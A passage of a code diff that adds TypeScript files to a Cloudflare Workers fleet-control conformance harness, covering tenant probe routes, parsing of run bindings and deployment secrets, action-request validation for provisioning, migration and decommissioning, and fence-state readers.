+      if (path === DIRECT_TENANT_ROUTES.fenceMutate)
+        return handleFenceMutate(request, env, kit.resolve);
+    }
+    if (path === DIRECT_TENANT_ROUTES.health && request.method === 'GET') {
+      const row = await env.DB.prepare(
+        'SELECT marker FROM direct_conformance_fixture WHERE id = 1',
+      ).first<{ marker: string }>();
+      return Response.json({
+        release: env.APPLICATION_RELEASE,
+        marker: row?.marker ?? null,
+      });
+    }
+    if (path === DIRECT_TENANT_ROUTES.object) {
+      if (request.method === 'POST') {
+        await env.PROBE_BUCKET.put(
+          DIRECT_TENANT_OBJECT_KEY,
+          DIRECT_TENANT_OBJECT_BODY,
+        );
+        return new Response(null, { status: 204 });
+      }
+      if (request.method === 'DELETE') {
+        await env.PROBE_BUCKET.delete(DIRECT_TENANT_OBJECT_KEY);
+        return new Response(null, { status: 204 });
+      }
+      if (request.method === 'GET') {
+        const object = await env.PROBE_BUCKET.get(DIRECT_TENANT_OBJECT_KEY);
+        if (!object) return Response.json({ present: false });
+        if (
+          object.size !==
+          new TextEncoder().encode(DIRECT_TENANT_OBJECT_BODY).byteLength
+        )
+          return new Response('Unexpected fixture object', { status: 409 });
+        const digest = await crypto.subtle.digest(
+          'SHA-256',
+          await object.arrayBuffer(),
+        );
+        return Response.json({
+          present: true,
+          size: object.size,
+          sha256: Array.from(new Uint8Array(digest), (byte) =>
+            byte.toString(16).padStart(2, '0'),
+          ).join(''),
+        });
+      }
+    }
+    return new Response('Not found', { status: 404 });
+  },
+};
+
+export class Runner extends DurableObjectRunner<DirectTenantEnv> {
+  protected build(env: DirectTenantEnv): RunnerRuntime {
+    return init(env).runtime;
+  }
+
+  protected runOwnership(env: DirectTenantEnv) {
+    return approvalStoreFactoryFor(env.DB).resources();
+  }
+
+  protected runLifecycle(env: DirectTenantEnv) {
+    return createFlowsafeRunnerLifecycle(config, env);
+  }
+}
+
+export class Maintenance extends createFlowsafeMaintenanceDurableObject(
+  config,
+) {}
+
+const worker = createFlowsafeWorker(config);
+
+export default {
+  fetch: (request, env, ctx) =>
+    worker.fetch(request as unknown as Request, env, ctx),
+} satisfies ExportedHandler<DirectTenantEnv>;
diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts
new file mode 100644
index 00000000..6c1cc639
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-context.ts
@@ -0,0 +1,482 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { Buffer } from 'node:buffer';
+import { createHash } from 'node:crypto';
+import type {
+  Crypto,
+  D1Database,
+  R2Bucket,
+  FixedLengthStream as WorkerFixedLengthStream,
+} from '@cloudflare/workers-types';
+import {
+  CloudflareApiPlainWorkerBackend,
+  CloudflareProvisioningClient,
+  D1CloudflareApiRateCoordinator,
+  D1FleetInventoryRunStore,
+  D1FleetStateStore,
+} from '@proofoftech/fleet-control';
+import {
+  type CloudflareControlPlane,
+  type CloudflareDeploymentSpec,
+  createCloudflareControlPlane,
+  D1FleetStateDatabase,
+  type DatabaseExportReceiptIdentity,
+  type DeploymentSecrets,
+  deploymentSpecDigest,
+  type FleetRecord,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import {
+  type DirectFixtureRelease,
+  type DirectFixtureRole,
+  directDeploymentSpec,
+} from './direct-credentialed-spec.js';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import { DirectReferenceJournal } from './direct-reference-journal.js';
+import {
+  DIRECT_REFERENCE_LEASE,
+  DirectReferenceTransport,
+} from './direct-reference-transport.js';
+
+declare const crypto: Crypto;
+declare const FixedLengthStream: typeof WorkerFixedLengthStream;
+
+export interface DirectRunBinding {
+  readonly version: 1;
+  readonly accountId: string;
+  readonly fleetDatabaseId: string;
+  readonly quotaDatabaseId: string;
+  readonly exportBucketName: string;
+  readonly referenceModuleSetSha256: string;
+  readonly accountWorkersDevSubdomain: string;
+}
+
+export interface DirectReferenceEnvironment {
+  readonly FLEET_DB: D1Database;
+  readonly QUOTA_DB: D1Database;
+  readonly EXPORTS: R2Bucket;
+  readonly CLOUDFLARE_API_TOKEN: string;
+  readonly FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET?: string;
+  readonly DIRECT_DEPLOYMENT_SECRETS: string;
+  readonly DIRECT_RUN_BINDING: string;
+}
+
+export interface DirectReferenceContext {
+  readonly binding: DirectRunBinding;
+  readonly control: CloudflareControlPlane;
+  readonly journal: DirectReferenceJournal;
+  readonly inventoryStore: D1FleetInventoryRunStore;
+  readonly transport: DirectReferenceTransport;
+  readonly createForcePlane: () => Readonly<{
+    store: D1FleetStateStore;
+    client: CloudflareProvisioningClient;
+    backend: CloudflareApiPlainWorkerBackend;
+  }>;
+  readonly recoveryClaimSetPresent: () => Promise<boolean>;
+  readonly recoveryResidualClaimsPresent: (
+    scriptName: string,
+    bucketNames: readonly string[],
+  ) => Promise<boolean>;
+  readonly headDecommissionExport: (
+    identity: DatabaseExportReceiptIdentity,
+    expectedSize: number,
+  ) => Promise<void>;
+  readonly roleFor: (record: FleetRecord) => DirectFixtureRole;
+  readonly spec: (
+    role: DirectFixtureRole,
+    release: DirectFixtureRelease,
+  ) => CloudflareDeploymentSpec;
+  readonly specFor: (record: FleetRecord) => CloudflareDeploymentSpec;
+  readonly secrets: (role: DirectFixtureRole) => DeploymentSecrets;
+}
+
+function refused(): never {
+  throw new DirectReferenceExecutionError();
+}
+
+function object(
+  value: unknown,
+  keys: readonly string[],
+): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) refused();
+  const actual = Object.keys(value);
+  if (
+    actual.length !== keys.length ||
+    keys.some((key) => !Object.hasOwn(value, key))
+  )
+    refused();
+  return value as Record<string, unknown>;
+}
+
+function json(value: unknown): unknown {
+  if (typeof value !== 'string' || Buffer.byteLength(value) > 256 * 1024)
+    refused();
+  try {
+    return JSON.parse(value);
+  } catch {
+    return refused();
+  }
+}
+
+function identifier(value: unknown): string {
+  if (
+    typeof value !== 'string' ||
+    !value ||
+    value !== value.trim() ||
+    value.length > 128 ||
+    [...value].some(
+      (character) =>
+        character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127,
+    )
+  )
+    refused();
+  return value;
+}
+
+function parseBinding(
+  raw: string,
+  manifest: DirectRunManifest,
+): DirectRunBinding {
+  const value = object(json(raw), [
+    'version',
+    'accountId',
+    'fleetDatabaseId',
+    'quotaDatabaseId',
+    'exportBucketName',
+    'referenceModuleSetSha256',
+    'accountWorkersDevSubdomain',
+  ]);
+  if (value.version !== 1) refused();
+  const accountId = identifier(value.accountId);
+  const fleetDatabaseId = identifier(value.fleetDatabaseId);
+  const quotaDatabaseId = identifier(value.quotaDatabaseId);
+  const exportBucketName = identifier(value.exportBucketName);
+  const referenceModuleSetSha256 = identifier(value.referenceModuleSetSha256);
+  const accountWorkersDevSubdomain = identifier(
+    value.accountWorkersDevSubdomain,
+  );
+  if (
+    fleetDatabaseId === quotaDatabaseId ||
+    exportBucketName !== manifest.names.exportBucket ||
+    !/^[a-f0-9]{64}$/u.test(referenceModuleSetSha256)
+  )
+    refused();
+  return Object.freeze({
+    version: 1,
+    accountId,
+    fleetDatabaseId,
+    quotaDatabaseId,
+    exportBucketName,
+    referenceModuleSetSha256,
+    accountWorkersDevSubdomain,
+  });
+}
+
+function parseSecrets(value: unknown): DeploymentSecrets {
+  const fields = object(value, [
+    'deploymentIdentity',
+    'maintenanceAdmin',
+    'application',
+  ]);
+  const application = object(fields.application, ['APP_PROBE_TOKEN']);
+  if (
+    typeof fields.deploymentIdentity !== 'string' ||
+    typeof fields.maintenanceAdmin !== 'string' ||
+    typeof application.APP_PROBE_TOKEN !== 'string'
+  )
+    refused();
+  return Object.freeze({
+    deploymentIdentity: fields.deploymentIdentity,
+    maintenanceAdmin: fields.maintenanceAdmin,
+    application: Object.freeze({
+      APP_PROBE_TOKEN: application.APP_PROBE_TOKEN,
+    }),
+  });
+}
+
+export async function createDirectReferenceContext(
+  manifest: DirectRunManifest,
+  environment: DirectReferenceEnvironment,
+  invocation: Readonly<{
+    startedAt: number;
+    signal: AbortSignal;
+    fetch?: typeof fetch;
+  }>,
+): Promise<DirectReferenceContext> {
+  const binding = parseBinding(environment.DIRECT_RUN_BINDING, manifest);
+  const apiToken = environment.CLOUDFLARE_API_TOKEN;
+  if (typeof apiToken !== 'string' || !apiToken || apiToken !== apiToken.trim())
+    refused();
+  const rawSecrets = environment.DIRECT_DEPLOYMENT_SECRETS;
+  const secretInput = object(json(rawSecrets), ['a', 'b', 'recovery']);
+  const secrets: Readonly<Record<DirectFixtureRole, DeploymentSecrets>> =
+    Object.freeze({
+      a: parseSecrets(secretInput.a),
+      b: parseSecrets(secretInput.b),
+      recovery: parseSecrets(secretInput.recovery),
+    });
+  const specs = new Map<
+    DirectFixtureRole,
+    ReadonlyMap<DirectFixtureRelease, CloudflareDeploymentSpec>
+  >();
+  const digests = new Map<
+    DirectFixtureRole,
+    ReadonlyMap<string, CloudflareDeploymentSpec>
+  >();
+  for (const role of ['a', 'b', 'recovery'] as const) {
+    const recipes = new Map<DirectFixtureRelease, CloudflareDeploymentSpec>();
+    const byDigest = new Map<string, CloudflareDeploymentSpec>();
+    for (const release of [
+      'initial',
+      'next',
+      ...(role === 'recovery' ? ['failed-recovery' as const] : []),
+    ] as const) {
+      const spec = directDeploymentSpec(
+        manifest,
+        role,
+        release,
+        secrets[role],
+        binding,
+      );
+      const digest = deploymentSpecDigest(spec);
+      if (byDigest.has(digest)) refused();
+      recipes.set(release, spec);
+      byDigest.set(digest, spec);
+    }
+    specs.set(role, recipes);
+    digests.set(role, byDigest);
+  }
+  const transport = new DirectReferenceTransport({
+    runtime: manifest.referenceRuntime,
+    startedAt: invocation.startedAt,
+    signal: invocation.signal,
+    fetch: invocation.fetch,
+  });
+  transport.assertWithinBudget();
+  const journal = new DirectReferenceJournal(
+    environment.FLEET_DB,
+    manifest.resourcePrefix,
+    JSON.stringify({
+      configSha256: manifest.configSha256,
+      binding,
+      quotaScope: manifest.resourcePrefix,
+      tenantSecretsSha256: createHash('sha256')
+        .update(rawSecrets)
+        .digest('hex'),
+    }),
+  );
+  await journal.readInterruption();
+  transport.assertWithinBudget();
+  const control = createCloudflareControlPlane({
+    accountId: binding.accountId,
+    apiToken,
+    fleetDatabase: environment.FLEET_DB,
+    quotaDatabase: environment.QUOTA_DB,
+    quotaScope: manifest.resourcePrefix,
+    ...DIRECT_REFERENCE_LEASE,
+    requestTimeoutMs: transport.effectiveRequestTimeoutMs,
+    maintenanceRequestTimeoutMs: transport.effectiveRequestTimeoutMs,
+    fetch: transport.providerFetch,
+    maintenanceFetch: transport.maintenanceFetch,
+    databaseExports: {
+      bucket: environment.EXPORTS,
+      bucketName: binding.exportBucketName,
+      keyPrefix: `${manifest.resourcePrefix}/`,
+      streams: { DigestStream: crypto.DigestStream, FixedLengthStream },
+      randomUUID: () => crypto.randomUUID(),
+    },
+  });
+  const inventoryStore = new D1FleetInventoryRunStore(
+    new D1FleetStateDatabase(environment.FLEET_DB),
+    { accountId: binding.accountId, ...DIRECT_REFERENCE_LEASE },
+  );
+  const roleFor = (record: FleetRecord): DirectFixtureRole => {
+    if (
+      record.backend !== 'plain-worker' ||
+      record.environment !== manifest.environment ||
+      record.backendSwitchIntent ||
+      record.migrationIntent ||
+      record.migrationPriorRelease ||
+      record.rollbackRelease ||
+      record.retiringRelease ||
+      record.platformResources ||
+      record.platformTarget
+    )
+      refused();
+    const role = (['a', 'b', 'recovery'] as const).find(
+      (role) => manifest.names.roles[role].tenantTag === record.tenantTag,
+    );
+    if (!role) refused();
+    const names = manifest.names.roles[role];
+    if (
+      record.scriptName !== names.scriptName ||
+      record.databaseName !== names.databaseName ||
+      record.routeHostname !== names.routeHostname
+    )
+      refused();
+    for (const release of [record.activeRelease, record.pendingRelease]) {
+      if (!release) continue;
+      const recipe = digests.get(role)?.get(release.specDigest);
+      if (
+        ![
+          'migrating',
+          'decommissioning',
+          'traffic-removed',
+          'credentials-revoked',
+          'worker-deleted',
+          'platform-credentials-revoked',
+          'platform-resources-deleted',
+          'application-resources-deleting',
+          'application-resources-deleted',
+          'database-exported',
+          'database-deleting',
+          'decommissioned',
+        ].includes(record.decommissionIntent?.lifecyclePhase ?? record.phase) ||
+        release.physicalScriptName !== record.scriptName ||
+        !recipe ||
+        release.releaseSchemaVersion !== recipe.schemaVersion ||
+        !release.artifactVersion ||
+        release.artifactVersion === 'pending' ||
+        release.topology ||
+        (release === record.activeRelease &&
+          release.artifactVersion !== record.artifactVersion)
+      )
+        refused();
+    }
+    return role;
+  };
+  return Object.freeze({
+    binding,
+    control,
+    journal,
+    inventoryStore,
+    transport,
+    async headDecommissionExport(
+      identity: DatabaseExportReceiptIdentity,
+      expectedSize: number,
+    ) {
+      transport.assertWithinBudget();
+      const authority = `r2://${binding.exportBucketName}/${manifest.resourcePrefix}/receipts/v1`;
+      if (
+        identity?.version !== 1 ||
+        identity.authority !== authority ||
+        typeof identity.databaseId !== 'string' ||
+        !/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/u.test(
+          identity.databaseId,
+        ) ||
+        typeof identity.operationId !== 'string' ||
+        !/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u.test(
+          identity.operationId,
+        ) ||
+        !Number.isSafeInteger(expectedSize) ||
+        expectedSize < 1
+      )
+        refused();
+      const key = `${manifest.resourcePrefix}/receipts/v1/${identity.databaseId}/${identity.operationId}.sql`;
+      const expected = {
+        anchorageReceiptVersion: '1',
+        anchorageReceiptAuthority: authority,
+        anchorageDatabaseId: identity.databaseId,
+        anchorageOperationId: identity.operationId,
+      };
+      const object = await environment.EXPORTS.head(key);
+      transport.assertWithinBudget();
+      const metadata = object?.customMetadata;
+      if (
+        !object ||
+        object.key !== key ||
+        object.size !== expectedSize ||
+        !metadata ||
+        typeof metadata !== 'object' ||
+        Array.isArray(metadata) ||
+        JSON.stringify(Object.keys(metadata).sort()) !==
+          JSON.stringify(Object.keys(expected).sort()) ||
+        Object.entries(expected).some(
+          ([name, value]) => metadata[name] !== value,
+        )
+      )
+        refused();
+    },
+    createForcePlane() {
+      transport.assertWithinBudget();
+      const store = new D1FleetStateStore(
+        new D1FleetStateDatabase(environment.FLEET_DB),
+        { accountId: binding.accountId, ...DIRECT_REFERENCE_LEASE },
+      );
+      const rateCoordinator = new D1CloudflareApiRateCoordinator(
+        environment.QUOTA_DB,
+        { quotaScope: manifest.resourcePrefix },
+      );
+      const client = new CloudflareProvisioningClient({
+        accountId: binding.accountId,
+        apiToken,
+        plane: 'plain-worker',
+        rateCoordinator,
+        requestTimeoutMs: transport.effectiveRequestTimeoutMs,
+        fetch: transport.providerFetch,
+      });
+      const backend = new CloudflareApiPlainWorkerBackend({
+        client,
+        fetch: transport.maintenanceFetch,
+        maintenanceRequestTimeoutMs: transport.effectiveRequestTimeoutMs,
+      });
+      return { store, client, backend };
+    },
+    async recoveryClaimSetPresent() {
+      transport.assertWithinBudget();
+      const row = await environment.FLEET_DB.prepare(
+        'SELECT EXISTS(SELECT 1 FROM anchorage_platform_plane_claims WHERE account_id=? AND resource_set_key=?) AS present',
+      )
+        .bind(
+          binding.accountId,
+          `deployment:${manifest.names.roles.recovery.tenantTag}:${manifest.environment}`,
+        )
+        .first<{ present: number }>();
+      transport.assertWithinBudget();
+      if (row?.present !== 0 && row?.present !== 1) refused();
+      return row.present === 1;
+    },
+    async recoveryResidualClaimsPresent(
+      scriptName: string,
+      bucketNames: readonly string[],
+    ) {
+      transport.assertWithinBudget();
+      const row = await environment.FLEET_DB.prepare(
+        "SELECT EXISTS(SELECT 1 FROM anchorage_platform_plane_claims WHERE account_id=? AND (resource_set_key=? OR (resource_type='worker-script' AND resource_name=?) OR (resource_type='r2-bucket' AND resource_name IN (SELECT value FROM json_each(?))))) AS present",
+      )
+        .bind(
+          binding.accountId,
+          `deployment:${manifest.names.roles.recovery.tenantTag}:${manifest.environment}`,
+          scriptName,
+          JSON.stringify(bucketNames),
+        )
+        .first<{ present: number }>();
+      transport.assertWithinBudget();
+      if (row?.present !== 0 && row?.present !== 1) refused();
+      return row.present === 1;
+    },
+    roleFor,
+    spec(role: DirectFixtureRole, release: DirectFixtureRelease) {
+      return specs.get(role)?.get(release) ?? refused();
+    },
+    specFor(record: FleetRecord) {
+      const role = roleFor(record);
+      let digest =
+        record.phase === 'migrating'
+          ? record.pendingSpecDigest
+          : record.desiredSpecDigest;
+      if (record.cleanupIntent && record.decommissionIntent) refused();
+      if (record.cleanupIntent?.authority.kind === 'provisioning-rollback')
+        digest = record.cleanupIntent.authority.requestedSpecDigest;
+      if (record.decommissionIntent) {
+        const mode = record.decommissionIntent.identity.mode;
+        if (mode.kind !== 'normal') refused();
+        digest = mode.requestedSpecDigest;
+      }
+      return (digest && digests.get(role)?.get(digest)) || refused();
+    },
+    secrets(role: DirectFixtureRole) {
+      return Object.hasOwn(secrets, role) ? secrets[role] : refused();
+    },
+  });
+}
diff --git a/packages/fleet-control/scripts/direct-reference-continuation.ts b/packages/fleet-control/scripts/direct-reference-continuation.ts
new file mode 100644
index 00000000..73aeb0fc
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-continuation.ts
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { DirectReferenceAction } from './direct-reference-contract.mjs';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import type { DirectStoredOperation } from './direct-reference-journal.js';
+
+export function directContinuation(
+  stored: DirectStoredOperation,
+  action: DirectReferenceAction,
+): unknown {
+  const token: unknown = Object.hasOwn(action, 'token')
+    ? Reflect.get(action, 'token')
+    : stored.tokenJson === null
+      ? undefined
+      : JSON.parse(stored.tokenJson);
+  if (token === undefined)
+    throw new DirectReferenceExecutionError('missing-continuation');
+  if (
+    !token ||
+    typeof token !== 'object' ||
+    Array.isArray(token) ||
+    !Object.hasOwn(token, 'operationId') ||
+    (token as { operationId: unknown }).operationId !== stored.operationId
+  )
+    throw new DirectReferenceExecutionError('wrong-operation');
+  return token;
+}
diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts
new file mode 100644
index 00000000..e0d5ffec
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { DirectFixtureRole } from './direct-credentialed-spec.js';
+
+export const DIRECT_REFERENCE_PATH: '/.well-known/anchorage/direct-conformance/v1/actions';
+export const DIRECT_REFERENCE_BODY_LIMIT: number;
+export type DirectReferenceErrorCode =
+  | 'invalid-request'
+  | 'payload-too-large'
+  | 'invalid-utf8'
+  | 'run-binding-mismatch';
+
+export class DirectReferenceRequestError extends Error {
+  readonly code: DirectReferenceErrorCode;
+  constructor(code?: DirectReferenceErrorCode);
+}
+
+export type DirectInventorySlot = 'inventory-before' | 'inventory-after';
+export type DirectAuditSlot = 'audit-before' | 'audit-after';
+export type DirectReferenceAction =
+  | Readonly<{ kind: 'force-terminal'; role: 'a' }>
+  | Readonly<{
+      kind: 'tenant-fence';
+      role: 'a' | 'b';
+      operation: 'drain' | 'reopen';
+      expectedMutationEpoch: number;
+      expectedRevision: number;
+    }>
+  | Readonly<{
+      kind: 'tenant-fence';
+      role: 'a' | 'b';
+      operation:
+        | 'read'
+        | 'inventory'
+        | 'mutate-current'
+        | 'probe-missing'
+        | 'probe-stale'
+        | 'probe-future';
+    }>
+  | Readonly<{
+      kind: 'tenant-probe';
+      role: DirectFixtureRole;
+      operation: 'health' | 'object-put' | 'object-read' | 'object-delete';
+    }>
+  | Readonly<{
+      kind:
+        | 'control-read'
+        | 'migration-start'
+        | 'migration-abandon'
+        | 'force-recovery'
+        | 'force-observe'
+        | 'recover-force-residual';
+    }>
+  | Readonly<{ kind: 'provision'; role: DirectFixtureRole; release: 'initial' }>
+  | Readonly<{
+      kind: 'provision';
+      role: 'recovery';
+      release: 'failed-recovery';
+    }>
+  | Readonly<{
+      kind: 'inventory-start' | 'inventory-read';
+      slot: DirectInventorySlot;
+    }>
+  | Readonly<{
+      kind: 'inventory-continue';
+      slot: DirectInventorySlot;
+      token?: unknown;
+    }>
+  | Readonly<{ kind: 'audit-start' | 'audit-abandon'; slot: DirectAuditSlot }>
+  | Readonly<{ kind: 'audit-continue'; slot: DirectAuditSlot; token?: unknown }>
+  | Readonly<{
+      kind: 'audit-page';
+      slot: DirectAuditSlot;
+      afterOrdinal?: number;
+      limit: number;
+    }>
+  | Readonly<{ kind: 'migration-page'; afterOrdinal?: number; limit: number }>
+  | Readonly<{ kind: 'migration-continue'; token?: unknown }>
+  | Readonly<{
+      kind:
+        | 'cleanup-start'
+        | 'cleanup-receipt'
+        | 'decommission-start'
+        | 'decommission-export';
+      role: DirectFixtureRole;
+    }>
+  | Readonly<{
+      kind: 'cleanup-continue' | 'decommission-continue';
+      role: DirectFixtureRole;
+      token?: unknown;
+    }>
+  | Readonly<{
+      kind: 'cleanup-restart-blocked' | 'decommission-restart-blocked';
+      role: DirectFixtureRole;
+      token: unknown;
+    }>;
+
+export interface DirectReferenceRequest {
+  readonly contractVersion: 1;
+  readonly configSha256: string;
+  readonly action: DirectReferenceAction;
+}
+
+export function readDirectReferenceRequest(
+  request: Request,
+  expectedConfigSha256: string,
+): Promise<DirectReferenceRequest>;
diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs
new file mode 100644
index 00000000..997f08e3
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-contract.mjs
@@ -0,0 +1,202 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readBoundedBody } from '@proofoftech/flowsafe/host-kit';
+
+export const DIRECT_REFERENCE_PATH =
+  '/.well-known/anchorage/direct-conformance/v1/actions';
+export const DIRECT_REFERENCE_BODY_LIMIT = 16 * 1024;
+
+export class DirectReferenceRequestError extends Error {
+  constructor(code = 'invalid-request') {
+    super(code);
+    this.name = 'DirectReferenceRequestError';
+    this.code = code;
+  }
+}
+
+function invalid() {
+  throw new DirectReferenceRequestError();
+}
+
+function keys(value, required, optional = []) {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) invalid();
+  if (required.some((key) => !Object.hasOwn(value, key))) invalid();
+  const accepted = new Set([...required, ...optional]);
+  if (Object.keys(value).some((key) => !accepted.has(key))) invalid();
+}
+
+function member(value, values) {
+  if (!values.includes(value)) invalid();
+}
+
+function page(action) {
+  if (
+    !Number.isSafeInteger(action.limit) ||
+    action.limit < 1 ||
+    action.limit > 1_000
+  )
+    invalid();
+  if (
+    Object.hasOwn(action, 'afterOrdinal') &&
+    (!Number.isSafeInteger(action.afterOrdinal) ||
+      action.afterOrdinal < 0 ||
+      action.afterOrdinal >= Number.MAX_SAFE_INTEGER)
+  )
+    invalid();
+}
+
+function counters(value) {
+  for (const counter of [value.expectedMutationEpoch, value.expectedRevision])
+    if (
+      !Number.isSafeInteger(counter) ||
+      counter < 0 ||
+      counter >= Number.MAX_SAFE_INTEGER
+    )
+      invalid();
+}
+
+function actionFromParsed(value) {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) invalid();
+  const kind = value.kind;
+  switch (kind) {
+    case 'control-read':
+    case 'migration-start':
+    case 'migration-abandon':
+    case 'force-recovery':
+    case 'force-observe':
+    case 'recover-force-residual':
+      keys(value, ['kind']);
+      break;
+    case 'force-terminal':
+      keys(value, ['kind', 'role']);
+      member(value.role, ['a']);
+      break;
+    case 'tenant-probe':
+      keys(value, ['kind', 'role', 'operation']);
+      member(value.role, ['a', 'b', 'recovery']);
+      member(value.operation, [
+        'health',
+        'object-put',
+        'object-read',
+        'object-delete',
+      ]);
+      break;
+    case 'tenant-fence': {
+      member(value.operation, [
+        'read',
+        'drain',
+        'reopen',
+        'inventory',
+        'mutate-current',
+        'probe-missing',
+        'probe-stale',
+        'probe-future',
+      ]);
+      const versioned =
+        value.operation === 'drain' || value.operation === 'reopen';
+      keys(
+        value,
+        versioned
+          ? [
+              'kind',
+              'role',
+              'operation',
+              'expectedMutationEpoch',
+              'expectedRevision',
+            ]
+          : ['kind', 'role', 'operation'],
+      );
+      member(value.role, ['a', 'b']);
+      if (versioned) counters(value);
+      break;
+    }
+    case 'provision':
+      keys(value, ['kind', 'role', 'release']);
+      member(value.role, ['a', 'b', 'recovery']);
+      member(value.release, ['initial', 'failed-recovery']);
+      if (value.release === 'failed-recovery' && value.role !== 'recovery')
+        invalid();
+      break;
+    case 'inventory-start':
+    case 'inventory-read':
+    case 'inventory-continue':
+      keys(
+        value,
+        ['kind', 'slot'],
+        kind === 'inventory-continue' ? ['token'] : [],
+      );
+      member(value.slot, ['inventory-before', 'inventory-after']);
+      break;
+    case 'audit-start':
+    case 'audit-abandon':
+    case 'audit-continue':
+      keys(value, ['kind', 'slot'], kind === 'audit-continue' ? ['token'] : []);
+      member(value.slot, ['audit-before', 'audit-after']);
+      break;
+    case 'audit-page':
+      keys(value, ['kind', 'slot', 'limit'], ['afterOrdinal']);
+      member(value.slot, ['audit-before', 'audit-after']);
+      page(value);
+      break;
+    case 'migration-page':
+      keys(value, ['kind', 'limit'], ['afterOrdinal']);
+      page(value);
+      break;
+    case 'migration-continue':
+      keys(value, ['kind'], ['token']);
+      break;
+    case 'cleanup-start':
+    case 'cleanup-receipt':
+    case 'decommission-start':
+    case 'decommission-export':
+      keys(value, ['kind', 'role']);
+      member(value.role, ['a', 'b', 'recovery']);
+      break;
+    case 'cleanup-continue':
+    case 'decommission-continue':
+      keys(value, ['kind', 'role'], ['token']);
+      member(value.role, ['a', 'b', 'recovery']);
+      break;
+    case 'cleanup-restart-blocked':
+    case 'decommission-restart-blocked':
+      keys(value, ['kind', 'role', 'token']);
+      member(value.role, ['a', 'b', 'recovery']);
+      break;
+    default:
+      invalid();
+  }
+  return Object.freeze(value);
+}
+
+export async function readDirectReferenceRequest(
+  request,
+  expectedConfigSha256,
+) {
+  let body;
+  try {
+    body = await readBoundedBody(request, DIRECT_REFERENCE_BODY_LIMIT);
+  } catch {
+    invalid();
+  }
+  if (!body.ok) throw new DirectReferenceRequestError(body.reason);
+  let value;
+  try {
+    value = JSON.parse(body.text);
+  } catch {
+    invalid();
+  }
+  keys(value, ['contractVersion', 'configSha256', 'action']);
+  if (
+    value.contractVersion !== 1 ||
+    typeof value.configSha256 !== 'string' ||
+    !/^[a-f0-9]{64}$/u.test(value.configSha256)
+  )
+    invalid();
+  if (value.configSha256 !== expectedConfigSha256)
+    throw new DirectReferenceRequestError('run-binding-mismatch');
+  return Object.freeze({
+    contractVersion: 1,
+    configSha256: value.configSha256,
+    action: actionFromParsed(value.action),
+  });
+}
diff --git a/packages/fleet-control/scripts/direct-reference-fence.ts b/packages/fleet-control/scripts/direct-reference-fence.ts
new file mode 100644
index 00000000..ab350e2d
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-fence.ts
@@ -0,0 +1,253 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { ExecutionFenceState as FenceState } from '@proofoftech/flowsafe/do-runner';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import { DIRECT_TENANT_ROUTES } from './direct-credentialed-tenant-object.mjs';
+import type { DirectReferenceContext } from './direct-reference-context.js';
+import type { DirectReferenceAction } from './direct-reference-contract.mjs';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import {
+  decodeDirectJsonObject,
+  readBoundedDirectResponse,
+} from './direct-reference-transport.js';
+
+export type DirectFenceReading = {
+  state: FenceState;
+  mutationEpoch: number;
+  requireMutationEpoch: boolean;
+  transitionRevision: number;
+};
+
+export type DirectFenceSweep = {
+  fence: DirectFenceReading;
+  categories: { category: string; class: string; empty: boolean }[];
+  observedAt: number;
+};
+
+/** The epoch label each probe operation sends to the tenant. */
+const PROBE_EPOCHS = Object.freeze({
+  'probe-missing': 'missing',
+  'probe-stale': 'stale',
+  'probe-future': 'future',
+});
+
+/** Membership in `PROBE_EPOCHS`, and the narrowing its index needs. */
+const isProbeOperation = (value: string): value is keyof typeof PROBE_EPOCHS =>
+  Object.hasOwn(PROBE_EPOCHS, value);
+
+type FenceTransitionResult =
+  | { ok: true; after: DirectFenceReading }
+  | {
+      ok: false;
+      reason: {
+        code: 'FENCE_CAS_CONFLICT';
+        state: FenceState;
+        mutationEpoch?: number;
+        requireMutationEpoch?: boolean;
+        transitionRevision?: number;
+        conflict?: 'expectation-mismatch' | 'versioned-expectation-required';
+      };
+    };
+
+function object(value: unknown): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value))
+    throw new DirectReferenceExecutionError();
+  return value as Record<string, unknown>;
+}
+
+function state(value: unknown): FenceState {
+  if (
+    value !== 'open' &&
+    value !== 'draining' &&
+    value !== 'migration-locked' &&
+    value !== 'proof-only'
+  )
+    throw new DirectReferenceExecutionError();
+  return value;
+}
+
+function counter(value: unknown): number {
+  if (typeof value !== 'number' || !Number.isSafeInteger(value) || value < 0)
+    throw new DirectReferenceExecutionError();
+  return value;
+}
+
+function flag(value: unknown): boolean {
+  if (typeof value !== 'boolean') throw new DirectReferenceExecutionError();
+  return value;
+}
+
+function text(value: unknown): string {
+  if (typeof value !== 'string') throw new DirectReferenceExecutionError();
+  return value;
+}
+
+function reading(value: Record<string, unknown>): DirectFenceReading {
+  return {
+    state: state(value.state),
+    mutationEpoch: counter(value.mutationEpoch),
+    requireMutationEpoch: flag(value.requireMutationEpoch),
